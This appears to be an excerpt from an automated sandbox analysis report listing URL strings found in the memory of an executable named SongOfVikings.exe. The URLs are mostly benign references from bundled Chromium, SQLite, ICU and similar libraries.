Source: SongOfVikings.exe, 00000000.00000003.1906818857.00000000051B4000.00000004.00000020.00020000.00000000.sdmp, SongOfVikings.exe, 00000000.00000003.1775044030.0000000005C10000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://source.icu-project.org/repos/icu/data/trunk/charset/data/xml/gb-18030-2000.xml
Source: SongOfVikings.exe, 00000000.00000003.1775248292.0000000006110000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://sqlite.org/cli.html#sqlite_archive_support
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://src.chromium.org/viewvc/blink/trunk/Source/devtools/front_end/SourceMap.js
Source: SongOfVikings.exe, 00000000.00000003.1845802895.00000000051B2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://src.chromium.org/viewvc/chrome/trunk/deps/third_party/xz/COPYING
Source: SongOfVikings.exe, 00000000.00000003.1906818857.00000000051B4000.00000004.00000020.00020000.00000000.sdmp, SongOfVikings.exe, 00000000.00000003.1775044030.0000000005C10000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://stackoverflow.com/a/16459606/376773
Source: SongOfVikings.exe, 00000000.00000003.1906818857.00000000051B4000.00000004.00000020.00020000.00000000.sdmp, SongOfVikings.exe, 00000000.00000003.1775044030.0000000005C10000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://stackoverflow.com/a/398120/376773
Source: SongOfVikings.exe, 00000000.00000003.1906818857.00000000051B4000.00000004.00000020.00020000.00000000.sdmp, SongOfVikings.exe, 00000000.00000003.1775044030.0000000005C10000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://stackoverflow.com/a/5982798/376773
Source: SongOfVikings.exe, 00000000.00000003.1906818857.00000000051B4000.00000004.00000020.00020000.00000000.sdmp, SongOfVikings.exe, 00000000.00000003.1775044030.0000000005C10000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://tools.ietf.org/html/rfc3501#section-5.1.3
Source: SongOfVikings.exe, 00000000.00000003.1906818857.00000000051B4000.00000004.00000020.00020000.00000000.sdmp, SongOfVikings.exe, 00000000.00000003.1775044030.0000000005C10000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://tools.ietf.org/html/rfc3501#section-5.1.3)
Source: SongOfVikings.exe, 00000000.00000003.1845802895.00000000051B2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://tukaani.org/xz/
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://userguide.icu-project.org/strings/properties
Source: SongOfVikings.exe, 00000000.00000003.1845802895.00000000051B2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://valgrind.org
Source: SongOfVikings.exe, 00000000.00000003.1774844208.0000000005710000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://web.archive.org/
Source: SongOfVikings.exe, 00000000.00000003.1845802895.00000000051B2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://webkit.org/
Source: SongOfVikings.exe, 00000000.00000003.1775044030.0000000005C10000.00000004.00001000.00020000.00000000.sdmp, SongOfVikings.exe, 00000000.00000003.1845802895.00000000051B2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.apache.org/licenses/
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp, SongOfVikings.exe, 00000000.00000003.1845802895.00000000051B2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: SongOfVikings.exe, 00000000.00000003.1845802895.00000000051B2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.chromium.org
Source: SongOfVikings.exe, 00000000.00000003.1775248292.0000000006110000.00000004.00001000.00020000.00000000.sdmp, SongOfVikings.exe, 00000000.00000003.1774844208.0000000005710000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://www.fossil-scm.org/
Source: SongOfVikings.exe, 00000000.00000003.1845802895.00000000051B2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.freedesktop.org/wiki/Software/xdg-user-dirs
Source: SongOfVikings.exe, 00000000.00000003.1775044030.0000000005C10000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://www.futurealoof.com)
Source: SongOfVikings.exe, 00000000.00000003.1775248292.0000000006110000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://www.gnu.org/gethelp/
Source: SongOfVikings.exe, 00000000.00000003.1775248292.0000000006110000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://www.gnu.org/licenses/
Source: SongOfVikings.exe, 00000000.00000003.1775248292.0000000006110000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://www.gnu.org/s/libtool/
Source: SongOfVikings.exe, 00000000.00000003.1845802895.00000000051B2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.gutenberg.org/ebooks/53).
Source: SongOfVikings.exe, 00000000.00000003.1906818857.00000000051B4000.00000004.00000020.00020000.00000000.sdmp, SongOfVikings.exe, 00000000.00000003.1775044030.0000000005C10000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://www.haible.de/bruno/charsets/conversion-tables/Big5.html
Source: SongOfVikings.exe, 00000000.00000003.1774844208.0000000005710000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://www.icu-project.org/userguide/posix.html#case_mappings
Source: SongOfVikings.exe, 00000000.00000003.1775044030.0000000005C10000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://www.jaredhanson.net/
Source: SongOfVikings.exe, 00000000.00000003.1836209062.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://www.jclark.com/xt
Source: SongOfVikings.exe, 00000000.00000003.1906818857.00000000051B4000.00000004.00000020.00020000.00000000.sdmp, SongOfVikings.exe, 00000000.00000003.1775044030.0000000005C10000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://www.khngai.com/chinese/charmap/tblgbk.php?page=0
Source: SongOfVikings.exe, 00000000.00000003.1845802895.00000000051B2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.linux-usb.org/usb-ids.html
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://www.midnight-commander.org/browser/lib/tty/key.c
Source: SongOfVikings.exe, 00000000.00000003.1845802895.00000000051B2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.mozilla.org/MPL/
Source: SongOfVikings.exe, 00000000.00000003.1845802895.00000000051B2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.nongnu.org/freebangfont/downloads.html#mukti
Source: SongOfVikings.exe, 00000000.00000003.1906818857.00000000051B4000.00000004.00000020.00020000.00000000.sdmp, SongOfVikings.exe, 00000000.00000003.1775044030.0000000005C10000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://www.ogcio.gov.hk/en/business/tech_promotion/ccli/terms/doc/2003cmp_2008.txt
Source: SongOfVikings.exe, 00000000.00000003.1906818857.00000000051B4000.00000004.00000020.00020000.00000000.sdmp, SongOfVikings.exe, 00000000.00000003.1775044030.0000000005C10000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://www.ogcio.gov.hk/tc/business/tech_promotion/ccli/terms/doc/hkscs-2008-big5-iso.txt
Source: SongOfVikings.exe, 00000000.00000003.1845802895.00000000051B2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.ploscompbiol.org/static/license
Source: SongOfVikings.exe, 00000000.00000003.1775248292.0000000006110000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://www.sqlite.org
Source: SongOfVikings.exe, 00000000.00000003.1775248292.0000000006110000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://www.sqlite.org)
Source: SongOfVikings.exe, 00000000.00000003.1775044030.0000000005C10000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://www.sqlite.org/
Source: SongOfVikings.exe, 00000000.00000003.1775248292.0000000006110000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://www.sqlite.org/compile.html).
Source: SongOfVikings.exe, 00000000.00000003.1775044030.0000000005C10000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://www.sqlite.org/copyright.html
Source: SongOfVikings.exe, 00000000.00000003.1775044030.0000000005C10000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://www.sqlite.org/tclsqlite.html
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://www.squid-cache.org/Doc/config/half_closed_clients/
Source: SongOfVikings.exe, 00000000.00000003.1845802895.00000000051B2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.strongtalk.org/
Source: SongOfVikings.exe, 00000000.00000003.1845802895.00000000051B2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.suitable.com
Source: SongOfVikings.exe, 00000000.00000003.1845802895.00000000051B2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.suitable.com/tools/smslib.html
Source: SongOfVikings.exe, 00000000.00000003.1845802895.00000000051B2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.suitable.com/tools/smslib.html>
Source: SongOfVikings.exe, 00000000.00000003.1774844208.0000000005710000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://www.unicode.org
Source: SongOfVikings.exe, 00000000.00000003.1906818857.00000000051B4000.00000004.00000020.00020000.00000000.sdmp, SongOfVikings.exe, 00000000.00000003.1775044030.0000000005C10000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://www.unicode.org/Public/MAPPINGS/OBSOLETE/EASTASIA/OTHER/BIG5.TXT)
Source: SongOfVikings.exe, 00000000.00000003.1906818857.00000000051B4000.00000004.00000020.00020000.00000000.sdmp, SongOfVikings.exe, 00000000.00000003.1775044030.0000000005C10000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://www.unicode.org/Public/MAPPINGS/VENDORS/MICSFT/WINDOWS/CP950.TXT
Source: SongOfVikings.exe, 00000000.00000003.1754734793.0000000005C10000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://www.unicode.org/copyright.html
Source: SongOfVikings.exe, 00000000.00000003.1845802895.00000000051B2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.webrtc.org
Source: SongOfVikings.exe, 00000000.00000003.1906818857.00000000051B4000.00000004.00000020.00020000.00000000.sdmp, SongOfVikings.exe, 00000000.00000003.1775044030.0000000005C10000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://www8.plala.or.jp/tkubota1/unicode-symbols-map2.html
Source: SongOfVikings.exe, 00000000.00000003.1836209062.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://xmlsoft.org/XSLT/
Source: SongOfVikings.exe, 00000000.00000003.1836209062.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://xmlsoft.org/XSLT/namespace
Source: SongOfVikings.exe, 00000000.00000003.1836209062.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://xmlsoft.org/XSLT/namespacehttp://www.jclark.com/xtxsl:key
Source: SongOfVikings.exe, 00000000.00000003.1836209062.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://xmlsoft.org/XSLT/xsltNewExtDef
Source: SongOfVikings.exe, 00000000.00000003.1845802895.00000000051B2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://zlib.net/
Source: SongOfVikings.exe, 00000005.00000000.1942201122.00007FF692ACA000.00000002.00000001.01000000.0000000E.sdmp String found in binary or memory: https://alekberg.net/privacy
Source: SongOfVikings.exe, 00000005.00000000.1942201122.00007FF692ACA000.00000002.00000001.01000000.0000000E.sdmp String found in binary or memory: https://alekberg.net/privacyalekberg.net
Source: SongOfVikings.exe, 00000000.00000003.1836209062.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://android.com/pay
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://anglebug.com/4674
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://anglebug.com/4830
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://anglebug.com/4849
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://anglebug.com/4966
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://anglebug.com/5140
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://anglebug.com/5536
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://anglebug.com/5845
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://anglebug.com/6574
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://anglebug.com/7161
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://anglebug.com/7162
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://anglebug.com/7246
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://anglebug.com/7246enableCaptureLimitsSet
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://anglebug.com/7308
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://anglebug.com/7319
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://anglebug.com/7320
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://anglebug.com/7369
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://anglebug.com/7382
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://anglebug.com/7405
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://anglebug.com/7489
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://anglebug.com/7604
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://anglebug.com/7714
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://anglebug.com/7847
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://anglebug.com/7899
Source: SongOfVikings.exe, 00000000.00000003.1836209062.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://beacons.gcp.gvt2.com/domainreliability/upload
Source: SongOfVikings.exe, 00000000.00000003.1836209062.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://beacons.gcp.gvt2.com/domainreliability/uploadhttps://beacons.gvt2.com/domainreliability/uplo
Source: SongOfVikings.exe, 00000000.00000003.1836209062.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://beacons.gvt2.com/domainreliability/upload
Source: SongOfVikings.exe, 00000000.00000003.1836209062.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://beacons2.gvt2.com/domainreliability/upload
Source: SongOfVikings.exe, 00000000.00000003.1836209062.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://beacons3.gvt2.com/domainreliability/upload
Source: SongOfVikings.exe, 00000000.00000003.1836209062.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://beacons4.gvt2.com/domainreliability/upload
Source: SongOfVikings.exe, 00000000.00000003.1836209062.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://beacons5.gvt2.com/domainreliability/upload
Source: SongOfVikings.exe, 00000000.00000003.1836209062.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://beacons5.gvt3.com/domainreliability/upload
Source: SongOfVikings.exe, 00000000.00000003.1836209062.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://bit.ly/audio-worklet)
Source: SongOfVikings.exe, 00000000.00000003.1836209062.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://bit.ly/audio-worklet)ScriptProcessorHandler::ProcessScriptProcessorHandler::Process
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://bugs.chromium.org/p/v8/issues/detail?id=10201
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://bugs.fuchsia.dev/p/fuchsia/issues/detail?id=107106
Source: SongOfVikings.exe, 00000000.00000003.1906818857.00000000051B4000.00000004.00000020.00020000.00000000.sdmp, SongOfVikings.exe, 00000000.00000003.1775044030.0000000005C10000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=162431
Source: SongOfVikings.exe, 00000000.00000003.1906818857.00000000051B4000.00000004.00000020.00020000.00000000.sdmp, SongOfVikings.exe, 00000000.00000003.1775044030.0000000005C10000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=310299
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=745678
Source: SongOfVikings.exe, 00000000.00000003.1906818857.00000000051B4000.00000004.00000020.00020000.00000000.sdmp, SongOfVikings.exe, 00000000.00000003.1775044030.0000000005C10000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=912470#c31
Source: SongOfVikings.exe, 00000005.00000000.1942201122.00007FF692ACA000.00000002.00000001.01000000.0000000E.sdmp String found in binary or memory: https://chrome-devtools-frontend.appspot.com/
Source: SongOfVikings.exe, 00000005.00000000.1942201122.00007FF692ACA000.00000002.00000001.01000000.0000000E.sdmp String found in binary or memory: https://chrome-devtools-frontend.appspot.com/%s%s/%s/NetworkResourceLoaderstreamWriteInspectableWebC
Source: SongOfVikings.exe, 00000005.00000000.1942201122.00007FF692ACA000.00000002.00000001.01000000.0000000E.sdmp String found in binary or memory: https://chrome.cloudflare-dns.com/dns-query
Source: SongOfVikings.exe, 00000005.00000000.1942201122.00007FF692ACA000.00000002.00000001.01000000.0000000E.sdmp String found in binary or memory: https://chrome.cloudflare-dns.com/dns-queryone.one.one.one1dot1dot1dot1.cloudflare-dns.com1.1.1.11.0
Source: SongOfVikings.exe, 00000000.00000003.1903222997.0000000006526000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://chrome.google.com/webstore?hl=af&category=theme81https://myactivity.google.com/myactivity/?u
Source: SongOfVikings.exe, 00000000.00000003.1903191671.0000000002D71000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://chrome.google.com/webstore?hl=am&category=theme81https://myactivity.google.com/myactivity/?u
Source: SongOfVikings.exe, 00000000.00000003.1903282171.0000000002D71000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://chrome.google.com/webstore?hl=ar&category=theme81https://myactivity.google.com/myactivity/?u
Source: SongOfVikings.exe, 00000000.00000003.1904090510.0000000002D71000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://chrome.google.com/webstore?hl=fa&category=theme81https://myactivity.google.com/myactivity/?u
Source: SongOfVikings.exe, 00000000.00000003.1904126521.0000000006527000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://chrome.google.com/webstore?hl=fi&category=theme81https://myactivity.google.com/myactivity/?u
Source: SongOfVikings.exe, 00000000.00000003.1905010134.0000000006525000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://chrome.google.com/webstore?hl=ms&category=theme81https://myactivity.google.com/myactivity/?u
Source: SongOfVikings.exe, 00000000.00000003.1905180838.0000000006527000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://chrome.google.com/webstore?hl=nl&category=theme81https://myactivity.google.com/myactivity/?u
Source: SongOfVikings.exe, 00000000.00000003.1905115227.0000000006525000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://chrome.google.com/webstore?hl=no&category=theme81https://myactivity.google.com/myactivity/?u
Source: SongOfVikings.exe, 00000000.00000003.1905428858.0000000002D71000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://chrome.google.com/webstore?hl=ru&category=theme81https://myactivity.google.com/myactivity/?u
Source: SongOfVikings.exe, 00000000.00000003.1907083686.0000000002D71000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://chrome.google.com/webstore?hl=ur&category=theme81https://myactivity.google.com/myactivity/?u
Source: SongOfVikings.exe, 00000005.00000000.1942201122.00007FF692ACA000.00000002.00000001.01000000.0000000E.sdmp String found in binary or memory: https://chromium.dns.nextdns.io
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://chromium.googlesource.com/angle/angle/
Source: SongOfVikings.exe, 00000000.00000003.1836209062.0000000006010000.00000004.00001000.00020000.00000000.sdmp, SongOfVikings.exe, 00000000.00000003.1845802895.00000000051B2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://chromium.googlesource.com/chromium/src/
Source: SongOfVikings.exe, 00000000.00000003.1845802895.00000000051B2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://chromium.googlesource.com/vulkan-deps/
Source: SongOfVikings.exe, 00000000.00000003.1845802895.00000000051B2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://chromium.googlesource.com/webm/libwebm
Source: SongOfVikings.exe, 00000000.00000003.1845802895.00000000051B2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://chromium.googlesource.com/webm/libwebp
Source: SongOfVikings.exe, 00000005.00000000.1942201122.00007FF692ACA000.00000002.00000001.01000000.0000000E.sdmp String found in binary or memory: https://cleanbrowsing.org/privacy
Source: SongOfVikings.exe, 00000005.00000000.1942201122.00007FF692ACA000.00000002.00000001.01000000.0000000E.sdmp String found in binary or memory: https://cleanbrowsing.org/privacyCleanBrowsing
Source: SongOfVikings.exe, 00000000.00000003.1836209062.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://clients2.google.com/domainreliability/upload
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://code.google.com/p/chromium/issues/detail?id=25916
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://console.spec.whatwg.org/#clear
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://console.spec.whatwg.org/#console-namespace
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://console.spec.whatwg.org/#count
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://console.spec.whatwg.org/#count-map
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://console.spec.whatwg.org/#countreset
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://console.spec.whatwg.org/#table
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://crbug.com/1042393
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://crbug.com/1046462
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://crbug.com/1060012
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://crbug.com/1091824
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://crbug.com/1137851
Source: SongOfVikings.exe, 00000000.00000003.1836209062.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://crbug.com/1144908
Source: SongOfVikings.exe, 00000000.00000003.1836209062.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://crbug.com/1144908.
Source: SongOfVikings.exe, 00000000.00000003.1836209062.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://crbug.com/1144908.The
Source: SongOfVikings.exe, 00000000.00000003.1836209062.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://crbug.com/1144908Changing
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://crbug.com/1300575
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://crbug.com/1356053
Source: SongOfVikings.exe, 00000000.00000003.1836209062.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://crbug.com/1393662).
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://crbug.com/593024
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://crbug.com/593024selectViewInGeometryShaderThe
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://crbug.com/650547
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://crbug.com/650547callClearTwiceUsing
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://crbug.com/655534
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://crbug.com/655534useSystemMemoryForConstantBuffersCopying
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://crbug.com/705865
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://crbug.com/710443
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://crbug.com/811661
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://crbug.com/848952
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://crbug.com/v8/7848
Source: SongOfVikings.exe, 00000000.00000003.1845802895.00000000051B2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://creativecommons.org/licenses/by/3.0/
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://cs.chromium.org/chromium/src/v8/tools/SourceMap.js?rcl=dd10454c1d
Source: SongOfVikings.exe, 00000000.00000003.1836209062.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://datatracker.ietf.org/doc/draft-ietf-rtcweb-ip-handling.
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://datatracker.ietf.org/doc/html/rfc7231#section-6.4
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://datatracker.ietf.org/doc/html/rfc7238
Source: SongOfVikings.exe, 00000000.00000003.1845802895.00000000051B2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://dejavu-fonts.github.io/Download.html
Source: SongOfVikings.exe, 00000000.00000003.1906818857.00000000051B4000.00000004.00000020.00020000.00000000.sdmp, SongOfVikings.exe, 00000000.00000003.1775044030.0000000005C10000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://developer.mozilla.org/en-US/docs/Tools/Web_Console#Styling_messages
